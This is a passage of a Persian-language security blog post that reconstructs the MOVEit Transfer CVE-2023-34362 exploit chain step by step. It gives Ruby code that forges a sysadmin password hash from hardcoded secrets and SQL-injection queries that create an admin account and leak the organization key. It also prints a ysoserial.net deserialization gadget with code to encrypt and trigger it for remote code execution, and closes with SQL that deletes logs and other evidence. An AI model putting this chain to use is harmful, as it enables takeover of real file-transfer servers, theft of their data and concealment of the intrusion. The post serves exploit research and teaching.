در این مرحله IPهای خارجی امکان دسترسی به REST API دارن، اما برای اینکه بتونن به APIها دسترسی داشته باشن باید نام کاربری و پسورد مناسب داشته باشیم. با توجه به اینکه پسوردها در دیتابیس رمزنگاری شده و ذخیره میشن، باید مکانیسم رمزنگاری برنامه رو کشف کنیم.

این عمل توسط متد MOVEit.DMZ.Core.Cryptography.CheckPasswordHash انجام میشه که همونطور که مشاهده میکنیم از مکانیسم های مختلف برای هش کردن استفاده میکنه که اغلبشون از یه کلید رمزنگاری با عنوان Org Key استفاده میکنن که در این مرحله ما بعنوان مهاجم، اطلاعی در خصوصش نداریم.

یه مکانیسم هش قدیمی بنام MakeV0V1PasswordHash هم وجود داره که امکان ایجاد هش بدون کلید Org Key رو میده :

 

C#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
public static ApplicationHashing.PasswordHashTestResult CheckPasswordHash(
      string password,
      string hashString,
      int orgId)
    {
      ApplicationHashing.PasswordHashTestResult passwordHashTestResult = ApplicationHashing.PasswordHashTestResult.Good;
      byte[] byteArray = ApplicationHashing.PasswordHashStringToByteArray(hashString);
      if ((int) byteArray[0] != byteArray.Length)
        throw new ArgumentException("Invalid password hash: hash length mismatch.");
      byte[] array1;
      byte[] second;
      switch (byteArray[1])
      {
        case 0:
          passwordHashTestResult = ApplicationHashing.PasswordHashTestResult.GoodButOld;
          byte[] numArray = new byte[0];
          byte[] array2 = new ArraySegment<byte>(byteArray, 4, 4).ToArray<byte>();
          array1 = new ArraySegment<byte>(byteArray, 8, byteArray.Length - 8).ToArray<byte>();
          byte[] orgKey1 = numArray; // <---- org key will be empty
          string password1 = password;
          second = ApplicationHashing.MakeV0V1PasswordHash(array2, orgKey1, password1); // <----
          break;
          // …snip…
 
    private static byte[] MakeV0V1PasswordHash(byte[] salt, byte[] orgKey, string password)
    {
      using (SerializableHashAlgorithm hashObject = Hashing.GetHashObject(Hashing.HashAlgorithms.Md5))
        return ApplicationHashing.MakePasswordHash(salt, orgKey, MOVEit.DMZ.Core.Constants.AnsiEncoding.GetBytes(password), (HashAlgorithm) hashObject);
    }
 
    private static byte[] MakePasswordHash(
      byte[] salt,
      byte[] orgKey,
      byte[] password,
      HashAlgorithm algorithm)
    {
      byte[] secret1 = SecretProvider.GetSecret("pwpre");
      algorithm.TransformBlock(secret1, 0, secret1.Length, secret1, 0);
      Array.Clear((Array) secret1, 0, secret1.Length);
      algorithm.TransformBlock(salt, 0, salt.Length, salt, 0);
      if (orgKey.Length != 0)
        algorithm.TransformBlock(orgKey, 0, orgKey.Length, orgKey, 0);
      algorithm.TransformBlock(password, 0, password.Length, password, 0);
      byte[] secret2 = SecretProvider.GetSecret("pwpost");
      algorithm.TransformFinalBlock(secret2, 0, secret2.Length);
      Array.Clear((Array) secret2, 0, secret2.Length);
      return algorithm.Hash;
    }
 
    internal static byte[] GetSecret(string type)
    {
      switch (type)
      {
        // …snip…
        case "pwpost":
          return System.Convert.FromBase64String(CGKI.GKIS(1832849602674192119L, 3685880422578908704L, 6883805924711697603L, 6740642329746897286L, 692300177375962740L));
        case "pwpre":
          return System.Convert.FromBase64String(CGKI.GKIS(1845332329897477212L, 4637843192103954791L, 1234463786088007299L, 8498588879767226209L, 3995686897690123380L));
        default:
          throw new ApplicationException("Unknown secret type " + type);
      }

 

همونطور که در کد قابل مشاهده هستش، پسورد با استفاده از MD5 و یه مقدار salt و دو مقدار استاتیک با عنوان secret1  و secret2 و مقادیر pwpre و pwpost هش میشه. مقادیر base64 این مقادیر استاتیک برابر =VT2jkEH3vAs= و =0maaSIA5oy0= هستش.

بنابراین ما میتونیم با استفاده از کد روبی زیر یه پسورد ایجاد کنیم :

 

Ruby
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
def makev1password(password, salt='AAAA')
 
raise "password cannot be empty" if password.empty?
 
raise "salt must be 4 bytes" if salt.length != 4
 
# These two hardcoded values are found in MOVEit.DMZ.Core.Cryptography.Providers.SecretProvider.GetSecret
pwpre = Base64.decode64('=VT2jkEH3vAs=')
 
pwpost = Base64.decode64('=0maaSIA5oy0=')
 
md5 = Digest::MD5.new
md5.update(pwpre)
md5.update(salt)
md5.update(password)
md5.update(pwpost)
 
pw = [(4+4+16), 0, 0, 0].pack('CCCC')
pw << salt
pw << md5.digest
 
return Base64.strict_encode64(pw).gsub('+','-')
end
 
hax_username = rand_string(8)
hax_loginname = rand_string(8)
hax_password = rand_string(8)

 

الان با استفاده از SQLi و پسوردی که ایجاد کردیم، از طریق کوئری های زیر، میتونیم یه کاربر sysadmin ایجاد کنیم :

 

MySQL
1
2
3
4
5
6
7
8
9
10
11
"INSERT INTO moveittransfer.users (Username) VALUES ('#{hax_username}')",
 
"UPDATE moveittransfer.users SET LoginName='#{hax_loginname}' WHERE Username='#{hax_username}'",
 
"UPDATE moveittransfer.users SET InstID='#{instid}' WHERE Username='#{hax_username}'",
 
"UPDATE moveittransfer.users SET Password='#{makev1password(hax_password, rand_string(4))}' WHERE Username='#{hax_username}'",
 
"UPDATE moveittransfer.users SET Permission='40' WHERE Username='#{hax_username}'",
 
"UPDATE moveittransfer.users SET CreateStamp=NOW() WHERE Username='#{hax_username}'",

 

بدست آوردن API Token:

در این مرحله ما از طریق IP به REST API دسترسی داریم و میتونیم با استفاده از اکانت sysadmin که ایجاد کردیم به REST API لاگین کنیم. در این مرحله نیاز به توکن داریم. با ارسال یه درخواست POST به /api/v1/token میتونیم یه access_token بدست بیاریم که به ما امکان فراخوانی همه REST API قابل دسترس میده :

 

Ruby
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
token_response = HTTParty.post(
"#{TARGET}/api/v1/token",
verify: false,
headers: {
'Content-Type' => 'application/x-www-form-urlencoded',
},
follow_redirects: false,
body: "grant_type=password&username=#{hax_loginname}&password=#{hax_password}",
)
 
if token_response.code != 200
raise "Couldn't get API token (#{token_response.body})"
end
 
token_json = JSON.parse(token_response.body)
 
log("Got API access token='#{token_json['access_token']}'.")

 

پیدا کردن یه Folder ID :

در این مرحله ما از طریق IP و اکانت sysadmin و توکن ،دسترسی به RestAPI داریم و طبق موردی که بالا بررسی کردیم، نیاز هستش که یه فایلی رو آپلود کنیم. در این مرحله میخواییم یه جای مناسب برای این کار پیدا کنیم. برای اینکه ما بتونیم یه فایلی رو آپلود کنیم، باید یه ID فولدر در MOVEit Transfer پیدا کنیم. برای این کار میتونیم از /api/v1/folders استفاده کنیم که یه آرایه json از فولدرهای موجود در سیستم برمیگردونه :

 

Ruby
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
folders_response = HTTParty.get(
"#{TARGET}/api/v1/folders",
verify: false,
headers: {
'Authorization' => "Bearer #{token_json['access_token']}",
},
follow_redirects: false,
)
 
if folders_response.code != 200
raise "Couldn't get API folders (#{folders_response.body})"
end
 
folders_json = JSON.parse(folders_response.body)
 
log("Found folderId '#{folders_json['items'][0]['id']}'.")

 

ایجاد یه Resumable File Upload :

در این مرحله، ما از طریق IP به REST API دسترسی داریم و میتونیم با اکانت sysadmin به اون لاگین کنیم و یه فولدر هم داریم که میتونیم فایلمون رو توش آپلود کنیم. در این مرحله می خواییم از یه آسیب پذیری deserialization که در زمان آپلود مجدد فایل رخ میده استفاده کنیم. بنابراین برای اینکه به این مسیر از کد برسیم، باید یه فایل آپلود مجدد از طریق فراخوانی /api/v1/folders/{id}/files?uploadType=resumable ایجاد کنیم. با این کار یه ردیف در جدول moveittransfer.files برای ذخیره متادیتای فایل در حال آپلود و یه ردیف هم در جدول moveittransfer.fileuploadinfo برای ذخیره وضعیت فایل در حال آپلود ایجاد میشه.

 

Ruby
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
uploadfile_name = rand_string(8)
uploadfile_size = 8
uploadfile_data = rand_string(uploadfile_size)
 
files_response = HTTParty.post(
"#{TARGET}/api/v1/folders/#{folders_json['items'][0]['id']}/files?uploadType=resumable",
verify: false,
headers: {
'Authorization' => "Bearer #{token_json['access_token']}",
},
follow_redirects: false,
multipart: true,
body: {
name: uploadfile_name,
size: (uploadfile_size).to_s,
comments: ''
}
)
 
if files_response.code != 200
raise "Couldn't post API files #1 (#{files_response.body})"
end
 
files_json = JSON.parse(files_response.body)
 
log("Initiated resumable file upload for fileId '#{files_json['fileId']}'...")

 

بدست آوردن کلید رمزنگاری :

در این مرحله ما از طریق IP و اکانت sysadmin به REST API دسترسی داریم و یه فایل با قابلیت آپلود مجدد رو در یه فولدری ایجاد کردیم. اطلاعات وضعیت این فایل بصورت یه شی دات نتی serialized رمز شده در فیلد State در جدول moveittransfer.fileuploadinfo ذخیره میشه. خب اگه ما بخواییم یه deserialization gadget در این فیلد قرار بدیم، باید بتونیم اونو رمز کنیم و برای اینکه بتونیم رمز کنیم باید کلید رمزنگاری داشته باشیم.

MOVEit Transfer از کلید رمزنگاری خاص organization که فایل در اون آپلود میشه، استفاده میکنه. این organization معمولا با مقدار InstID هنگام درخواست API یا دیتابیس ، مشخص میشه. با توجه به اینکه اکانت ما sysadmin هستش، بنابراین باید دنبال کلید رمزنگاری برای organization باشیم که InstID  اون صفر باشه.

این کلید در رجیستری ویندوز ذخیره میشه، اما ما بعنوان یه هکر راه دور به رجیستری دستری نداریم. خوشبختانه یه کپی از اون در جدول moveittransfer.registryaudit با عنوان KeyName با مقدار Standard Networks\siLock\Institutions\0 ذخیره میشه. یه نکته جالب اینکه ، MOVEit Transfer SSH private key هم در این جدول ذخیره میشه.

خب ما SQLi داریم و دیتا هم داخل جدول نوشته شده بنابراین در این مرحله میتونیم، کلید رمزنگاری رو با استفاده از SQLi در متادیتای فایل قابل آپلود مجدد بنویسیم و بعدش با REST API این متادیتارو بخونیم. کوئری زیر کلید رمزنگاری رو در فیلد متادیتای UploadAgentBrand فایل، مینویسه. با توجه به اینکه در SQL نمتونیم از کاراکتر \ استفاده کنیم، بنابراین از تابع CHAR_LENGTH برای جستجوی فیلد استفاده شده. این روش انتخاب شده چون سایر مقادیر InstId که صفر نیستن، یه عدد صحیح با بیش از یه کاراکتر هستن، بنابراین ما میتونیم دنبال KeyName های مورد علاقه امون با طول خاص باشیم.

 

MySQL
1
"UPDATE moveittransfer.files SET UploadAgentBrand=(SELECT PairValue FROM moveittransfer.registryaudit WHERE PairName='Key' AND CHAR_LENGTH(KeyName)=#{'Standard Networks\siLock\Institutions\0'.length}) WHERE ID='#{files_json['fileId']}'"

 

حالا میتونیم با یه درخواست GET به نقطه پایانی /api/v1/files/{id} ، کلید رمزنگاری بدست بیاریم.

 

Ruby
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
leak_response = HTTParty.get(
"#{TARGET}/api/v1/files/#{files_json['fileId']}",
verify: false,
headers: {
'Authorization' => "Bearer #{token_json['access_token']}",
},
follow_redirects: false,
)
 
if leak_response.code != 200
raise "Couldn't post API files #LEAK (#{leak_response.body})"
end
 
leak_json = JSON.parse(leak_response.body)
 
org_key = leak_json['uploadAgentBrand']
 
log("Leaked the Org Key: #{org_key}")

 

برای مثال کلید رمزنگاری 16 بایتی برای محققا اینجوری بوده :

 

1
0B 52 CA 0B FA 01 6F 19 5E D3 61 B1 B9 2A DA 75

 

رمزنگاری Deserialization Gadget :

خب تا اینجا ما با IP و اکانت sysadmin به Rest API دسترسی داریم، تونستیم کلید رمزنگاری و فولدر برای آپلود هم بدست بیاریم. حالا میخواییم در این مرحله Deserialization Gadget مون رو رمز کنیم. deserialization دات نتی ناامن در متد MOVEit.DMZ.Application.Folders.ResumableUploadFilePartHandler طی یه BinaryFormatter.Deserializecall رخ میده:

 

C#
1
2
3
4
5
6
7
8
9
// MOVEit.DMZ.Application.Folders.ResumableUploadFilePartHandler
private FileTransferStream DeserializeFileUploadStream(DataFilePath filePath)
{
      // …snip…
      using (MemoryStream serializationStream = new MemoryStream(this._uploadState))
        return (FileTransferStream) new BinaryFormatter()
        {
          Context = new StreamingContext(StreamingContextStates.All, (object) additional)
        }.Deserialize((Stream) serializationStream); // <----

 

بنابراین ما باید دنبال یه deserialization gadget باشیم که در داخل MOVEit Transfer IIS Worker Process باشه. خوشبختانه نیازی به نوشتن deserialization gadget اختصاصی نیست و میتونیم از ابزار ysoserial.net استفاده کنیم. TextFormattingRunProperties gadget که برای یه BinaryFormatter هستش، بعد از deserialized میتونه RCE بده. خب ما میتونیم از این gadget برای اجرای Notepad بصورت زیر استفاده کنیم :

 

1
> ysoserial.exe --command=notepad.exe -o base64 -f BinaryFormatter -g TextFormattingRunProperties

 

اگه gadget رو Base64 کنیم :

 

1
AAEAAAD/////AQAAAAAAAAAMAgAAAF5NaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IsIFZlcnNpb249My4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQEAAABCTWljcm9zb2Z0LlZpc3VhbFN0dWRpby5UZXh0LkZvcm1hdHRpbmcuVGV4dEZvcm1hdHRpbmdSdW5Qcm9wZXJ0aWVzAQAAAA9Gb3JlZ3JvdW5kQnJ1c2gBAgAAAAYDAAAAugU8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJ1dGYtMTYiPz4NCjxPYmplY3REYXRhUHJvdmlkZXIgTWV0aG9kTmFtZT0iU3RhcnQiIElzSW5pdGlhbExvYWRFbmFibGVkPSJGYWxzZSIgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiIgeG1sbnM6c2Q9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PVN5c3RlbSIgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiPg0KICA8T2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KICAgIDxzZDpQcm9jZXNzPg0KICAgICAgPHNkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgICAgICA8c2Q6UHJvY2Vzc1N0YXJ0SW5mbyBBcmd1bWVudHM9Ii9jIG5vdGVwYWQuZXhlIiBTdGFuZGFyZEVycm9yRW5jb2Rpbmc9Int4Ok51bGx9IiBTdGFuZGFyZE91dHB1dEVuY29kaW5nPSJ7eDpOdWxsfSIgVXNlck5hbWU9IiIgUGFzc3dvcmQ9Int4Ok51bGx9IiBEb21haW49IiIgTG9hZFVzZXJQcm9maWxlPSJGYWxzZSIgRmlsZU5hbWU9ImNtZCIgLz4NCiAgICAgIDwvc2Q6UHJvY2Vzcy5TdGFydEluZm8+DQogICAgPC9zZDpQcm9jZXNzPg0KICA8L09iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT4NCjwvT2JqZWN0RGF0YVByb3ZpZGVyPgs=

 

الان ما gadget رو هم داریم و تنها کاری که مونده اینه که اونو با کلید رمزنگاری که بدست آوردیم ، رمز کنیم. برای رمزنگاری ما کلید رو داریم اما نمیدونیم چه الگوریتم رمزنگاری استفاده شده.

محققا با مهندسی معکوس متوجه شدن که الگوریتم رمزنگاری در متد MOVEit.Crypto.AesMOVEitCryptoTransform تعریف شده. در کل الگوریتم AES-256-CBC هستش با 16 بایت IV که شامل 4 بایت اول هش شده کلید رمزنگاری که بدست آوردیم با SHA1 هستش که 4 بار تکرار شده.

کلید رمزنگاری ارسال شده به AES یه کلید 32 بایتی هستش که یه مقدار ثابت 12 بایتی ، مقدار 16 باید کلید رمزنگاری که ما بدستش آوردیم و 4 بایت Null تشکیلش میده. این مقدار ثابت 12 بایتی توسط MOVEit.DMZ.Core.Cryptography.Encryption.GetDatabaseEncryptionKey ایجاد میشه که آرگومان orgId در این مورد 1- هستش:

 

C#
1
2
3
4
5
6
7
8
    // MOVEit.DMZ.Core.Cryptography.Encryption
    private static byte[] GetDatabaseEncryptionKey(int orgId, BaseKey baseKey)
    {
      byte[] sourceArray = ByteArrayUtility.Concat(ByteArrayUtility.Convert.FromHex(new CGetK().DoD(orgId >= 0 ? "u5RcVwB0hSLnaRdL14UmfCpj" : "Pm6XfoTpbShD8y2bcTWfGyBB")), baseKey.KeyBytes);
      byte[] destinationArray = new byte[32];
      Array.Copy((Array) sourceArray, (Array) destinationArray, sourceArray.Length);
      return destinationArray;
    }

 

مقدار رمزشده، با یه ساختار هدر ساده که توسط MOVEit.DMZ.Core.Cryptography.Providers.MOVEit.MOVEitV2EncryptedStringHeader تعریف شده، فرمت دهی میشه که شامل شماره نسخه، 2 بایت هش داده و 4 بایت ابتدایی IV هستش.

در نهایت هدر و داده رمزشده، با base64 انکد میشن و یه مقدار تگ @%! به ابتداش اضافه میشه.

MOVEit Transfer هنگام نوشتن داده رمز شده در دیتابیس ، DBFieldEncrypt فراخوانی میکنه و هنگام رمزگشایی از DBFieldDecrypt استفاده میکنه.

همونطور که مشاهده میکنید، در فراخوانی DBFieldEncrypt ، مقدار orgId  باید 1- باشه که هم روی مقدار استاتیک تولید شده در GetDatabaseEncryptionKey  و هم در استفاده از organization 0 key در فراخوانی Encryption._orgKeyProvider.GetOrgKey(flag ? orgId : 0) تاثیر میزاره. به همین دلیل هستش که ما در مراحل قبل خواستیم که کلید رمزنگاری organization 0 رو بدست بیاریم.

 

C#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
public string DBFieldEncrypt(string plainText) => Encryption.EncryptStringForDatabase(plainText);
 
    public static string EncryptStringForDatabase(string plainText, int orgId = -1) => !string.IsNullOrEmpty(plainText) ? Encryption.EncryptBytesForDatabase(MOVEit.DMZ.Core.Constants.Utf8Encoding.GetBytes(plainText), orgId) : string.Empty;
 
    // MOVEit.DMZ.Core.Cryptography.Encryption
    public static string EncryptBytesForDatabase(byte[] plainText, int orgId = -1, bool utf = true)
    {
      bool flag = orgId >= 0;
      OrgKey orgKey = Encryption._orgKeyProvider.GetOrgKey(flag ? orgId : 0);
      byte[] databaseEncryptionKey = Encryption.GetDatabaseEncryptionKey(orgId, (BaseKey) orgKey);
      string str = Encryption.EncryptBytes(plainText, databaseEncryptionKey, orgKey.IdBytes);
      return (utf ? (flag ? "#@%" : "@%!") : (flag ? "#%" : "@!")) + str;
    }
 
    private static string EncryptBytes(byte[] plainText, byte[] key, byte[] keyId = null)
    {
      keyId = keyId ?? new byte[4];
      try
      {
        BaseKey baseKey = new BaseKey()
        {
          KeyBytes = key,
          IdBytes = keyId
        };
        using (MemoryHeaderStream baseStream = new MemoryHeaderStream())
        {
          using (EncryptedStream encryptionStream = Encryption._stringEncryptionStreamFactory.GetEncryptionStream((FileHeaderStream) baseStream, baseKey))
          {
            encryptionStream.Write(plainText, 0, plainText.Length);
            encryptionStream.Finish();
            return System.Convert.ToBase64String(baseStream.ToArray());
          }
        }
      }
      catch (Exception ex)
      {
        throw new CryptographicException("Error encrypting data: " + ex.Message, ex);
      }
    }

 

اگه همه موارد بالا رو کنار هم قرار بدیم، حالا میتونیم با کد زیر، deserialization gadget خودمون رو رمز کنیم :

 

Ruby
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
def moveitv2encrypt(data, org_key, iv=nil, tag='@%!')
 
raise "org_key must be 16 bytyes" if org_key.length != 16
 
if iv.nil?
iv = rand_string(4)
# as we only store the first 4 bytes in the header, the IV must be a repeating 4 byte sequence.
iv = iv * 4
end
 
# MOVEit.DMZ.Core.Cryptography.Encryption.GetDatabaseEncryptionKey
key = [64, 131, 232, 51, 134, 103, 230, 30, 48, 86, 253, 157].pack('C*')
 
key = key + org_key
 
key = key + [0, 0, 0, 0].pack('C*')
 
# MOVEit.Crypto.AesMOVEitCryptoTransform
cipher = OpenSSL::Cipher.new('AES-256-CBC')
 
cipher.encrypt
 
cipher.key = key
 
cipher.iv = iv
 
encrypted_data = cipher.update(data) + cipher.final
 
data_sha1_hash = Digest::SHA1.digest(data).unpack('C*')
 
org_key_sha1_hash = Digest::SHA1.digest(org_key).unpack('C*')
 
# MOVEit.DMZ.Core.Cryptography.Providers.MOVEit.MOVEitV2EncryptedStringHeader
header = [
225, # MOVEitV2EncryptedStringHeader
0,
data_sha1_hash[0],
data_sha1_hash[1],
org_key_sha1_hash[0],
org_key_sha1_hash[1],
org_key_sha1_hash[2],
org_key_sha1_hash[3],
iv.unpack('C*')[0],
iv.unpack('C*')[1],
iv.unpack('C*')[2],
iv.unpack('C*')[3],
].pack('C*')
 
# MOVEit.DMZ.Core.Cryptography.Encryption.EncryptBytesForDatabase
return tag + Base64.strict_encode64(header + encrypted_data)
end
 
org_key.gsub!(' ', '')
 
org_key = [org_key].pack('H*').bytes.to_a.pack('C*')
 
deserialization_gadget = moveitv2encrypt(gadget, org_key)
 
log("Encrypted the gadget with Org Key: #{deserialization_gadget}")

 

ذخیره Gadget :

خب در این مرحله ما از طریق IP و اکانت به REST API دسترسی داریم، محل نوشتن و deserialization gadget رمز شده رو هم داریم. در این مرحله میخواییم با استفاده از SQLi ، اونو در فیلد State جدول moveittransfer.fileuploadinfo برای فایل قابل آپلود مجددمون بنویسیم :

 

MySQL
1
"UPDATE moveittransfer.fileuploadinfo SET State='#{deserialization_gadget}' WHERE FileID='#{files_json['fileId']}'"

 

فراخوانی Deserialization ناامن:

خب در این مرحله همه موارد سرجاش هستش و فقط کافیه که ما Deserialization ناامن رو فراخوانی کنیم. برای این منظور یه درخواست PUT به نقطه پایانی /api/v1/folders/{id}/files?uploadType=resumable&fileId={id} ارسال میکنیم تا متد MOVEit.DMZ.Application.Folders.ResumableUploadFilePartHandler.GetUploadStream اجرا بشه:

 

Ruby
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
log("Triggering gadget deserialization...")
 
files_response = HTTParty.put(
"#{TARGET}/api/v1/folders/#{folders_json['items'][0]['id']}/files?uploadType=resumable&fileId=#{files_json['fileId']}",
verify: false,
headers: {
'Authorization' => "Bearer #{token_json['access_token']}",
'Content-Type' => "application/octet-stream",
'Content-Range' => "bytes 0-#{uploadfile_size-1}/#{uploadfile_size}",
'X-File-Hash' => Digest::SHA1.hexdigest(uploadfile_data),
},
follow_redirects: false,
body: uploadfile_data[0,uploadfile_data.length]
)
 
# 500 if payload runs :)
if files_response.code != 500
raise "Couldn't post API files #2 code=#{files_response.code} (#{files_response.body})"
end
 
log("Gadget deserialized, RCE Achieved!")

 

متد GetUploadStream در ابتدا برای اینکه state ذخیره شده در دیتابیس برای فایل قابل آپلود مجدد رو رمزگشایی کنه ، GetFileUploadInfo رو فراخوانی میکنه. این همون فیلدی هستش که deserialization gadget رمز شده ما توش نشسته. gadget بعد از رمزگشایی در متغیر _uploadState قرار میگیره. بعدش DeserializeFileUploadStream فراخوانی میشه. این متد یه نمونه BinaryFormatter جدید ایجاد میکنه و gadget ما رو deserialize میکنه و در نتیجه RCE رو داریم.

 

C#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
// MOVEit.DMZ.Application.Folders.ResumableUploadFilePartHandler
    public Stream GetUploadStream(FolderUploadFilePartRequest request)
    {
      this._folderId = request.Id;
      this._fileId = request.FileId;
      this._range = request.UploadRange;
      this._fileHash = request.FileHash;
      this._chunkSize = request.ChunkSize;
      if (!this.CheckIsFolderIdExists() || !this.CheckIsFileExists() || !this.GetFileUploadInfo() || !this.CheckRange()) // <---- read the gadget
        return Stream.Null;
      this._sendBytes = ((long?) this._range?.From).GetValueOrDefault();
      if (!this._activeTransfersUpdateService.InitStatusConnection())
        this._xferId = -1L;
      this._fileUploadStream = this.DeserializeFileUploadStream(new DataFilePath(this._orgId, this._targetFolderId, this._fileId));// <---- deserialize the gadget
      this.SubscribeToStreamEvents();
      return (Stream) this._fileUploadStream;
    }
 
    private bool GetFileUploadInfo()
    {
      string tableNameAttribute1 = SqlTable.FileUploadInfo.GetTableNameAttribute();
      string tableNameAttribute2 = SqlTable.Files.GetTableNameAttribute();
      SILDictionary<string, string> silDictionary = new SQLBasicBuilder(this._globals.objWrap, SqlTable.FileUploadInfo).AddColumnToSelect(tableNameAttribute1, "Comment").AddColumnToSelect(tableNameAttribute1, "XferID").AddColumnToSelect(tableNameAttribute1, "State").AddLeftJoin(tableNameAttribute2, tableNameAttribute2 + ".ID=" + tableNameAttribute1 + ".FileID").AddAndToWhere(tableNameAttribute1 + ".FileID='" + this._fileId + "'").AddAndToWhere(tableNameAttribute2 + ".UploadUsername='" + this._currentUser.Username + "'").SelectQueryRow();
      if (silDictionary == null)
      {
        this.SetParameterError(3800, 90512, this._fileId);
        return false;
      }
      this._originalUploadComment = this._globals.objUtility.DBFieldDecrypt(silDictionary["Comment"]);
      this._xferId = long.Parse(silDictionary["XferID"]);
      this._uploadState = System.Convert.FromBase64String(this._globals.objUtility.DBFieldDecrypt(silDictionary["State"])); // <---- decrypt our gadget and store it in _uploadState
      return true;
    }
 
    private FileTransferStream DeserializeFileUploadStream(DataFilePath filePath)
    {
      if (this._uploadState.Length == 0)
        return this.CreateFileUploadStream(filePath);
      int num = 1;
      FileHeaderStream additional;
      while (true)
      {
        try
        {
          additional = this._fileSystem.OpenWrite((FilePath) filePath);
          break;
        }
        catch (IOException ex)
        {
          this._globals.objDebug.Log(LogLev.SomeDebug, string.Format("{0}: Error opening file {1} for writing (try {2} of {3}): {4}", (object) nameof (ResumableUploadFilePartHandler), (object) filePath, (object) num, (object) 10, (object) ex.Message));
          if (num == 10)
          {
            throw;
          }
          else
          {
            Thread.Sleep(1000);
            ++num;
          }
        }
      }
      using (MemoryStream serializationStream = new MemoryStream(this._uploadState))
        return (FileTransferStream) new BinaryFormatter()
        {
          Context = new StreamingContext(StreamingContextStates.All, (object) additional)
        }.Deserialize((Stream) serializationStream); // <---- b00m!
    }

 

حذف IOC ها:

بعد از اینکه RCE رو انجام دادیم، میتونیم با استفاده از SQLi تمام شواهد رو از رو سیستم قربانی پاک کنیم:

 

MySQL
1
2
3
4
5
6
7
8
9
10
11
12
13
"DELETE FROM moveittransfer.fileuploadinfo WHERE FileID='#{files_json['fileId']}'", # delete the deserialization payload
 
"DELETE FROM moveittransfer.files WHERE UploadUsername='#{hax_username}'", # delete the file we uploaded
 
"DELETE FROM moveittransfer.activesessions WHERE Username='#{hax_username}'", #
 
"DELETE FROM moveittransfer.users WHERE Username='#{hax_username}'", # delete the user account we created
 
"DELETE FROM moveittransfer.log WHERE Username='#{hax_username}'", # The web ASP stuff logs by username
 
"DELETE FROM moveittransfer.log WHERE Username='#{hax_loginname}'", # The API logs by loginname
 
"DELETE FROM moveittransfer.log WHERE Username='Guest:#{MYGUESTEMAILADDR}'", # The SQLi generates a guest log entry.

 

 

منبع

 

 

اشتراک در شبکه های اجتماعی :

Facebook
Twitter
Pinterest
LinkedIn
In آسیب پذیری امنیتی اخبار توسعه اکسپلویت مقالاتIn BinaryFormatter , CVE-2023-34362 , DiffMerge , dotPeek , Header smuggling , ILSpy , ISAPI , MOVEit Transfer , Patch Diffing , Session injection , sqli , ysoserial.net

راهبری نوشته

سه گانه MOVEit Transfer – قسمت اول : آسیب پذیریها
سه گانه MOVEit Transfer – قسمت سوم : حمله با CVE-2023-34362

دیدگاهتان را بنویسید لغو پاسخ

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

دسته‌ها

  • Osint
  • آسیب پذیری امنیتی
  • آموزش های ویدیویی
  • آنالیز بدافزار
  • اخبار
  • افشای اطلاعات
  • امنیت وب
  • انتشارات
  • اینترنت اشیاء
  • بازیگران تهدید
  • باگ بانتی
  • پادکست
  • پروژه ها
  • توسعه اکسپلویت
  • تیم آبی
  • تیم قرمز
  • دوره های آموزشی
  • فازینگ
  • کنفرانس ،دوره ، وبینار ، لایو ، CTF
  • لیست های ویژه
  • ماشین آسیب پذیر
  • مجله
  • مقالات
  • مهندسی معکوس نرم افزار

پست های مرتبط

  • آسیب پذیری امنیتی
  • اخبار
  • باگ بانتی
seyyid
On اسفند 1, 1402

بهترین محققین امنیتی مایکروسافت برای سه ماهه چهارم 2023

  • اخبار
  • کنفرانس ،دوره ، وبینار ، لایو ، CTF
seyyid
On بهمن 7, 1401فروردین 28, 1402

بهترین محققهای مایکروسافت در سه ماهه چهارم 2022

  • اخبار
  • بازیگران تهدید
seyyid
On بهمن 23, 1401فروردین 28, 1402

حمله باج افزاری دارک بیت به Technion اسرائیل

  • آسیب پذیری امنیتی
  • اخبار
seyyid
On اسفند 19, 1402

اصلاح 38 آسیب پذیری در بروزرسانی مارس اندروید

درباره ما

بعد از چندین سال فعالیت تو حوزه امنیت سایبری و تولید محتوا در شبکه های اجتماعی ، بالاخره تصمیم گرفتیم تا یه سایت راه اندازی کنیم و مطالب رو ساده تر ، در یک محیط منسجم و طبقه بندی شده به دست مخاطب برسونیم. امیدوارم که قدمی در راستای رشد امنیت سایبری کشورمون برداشته باشیم.

تگ ها

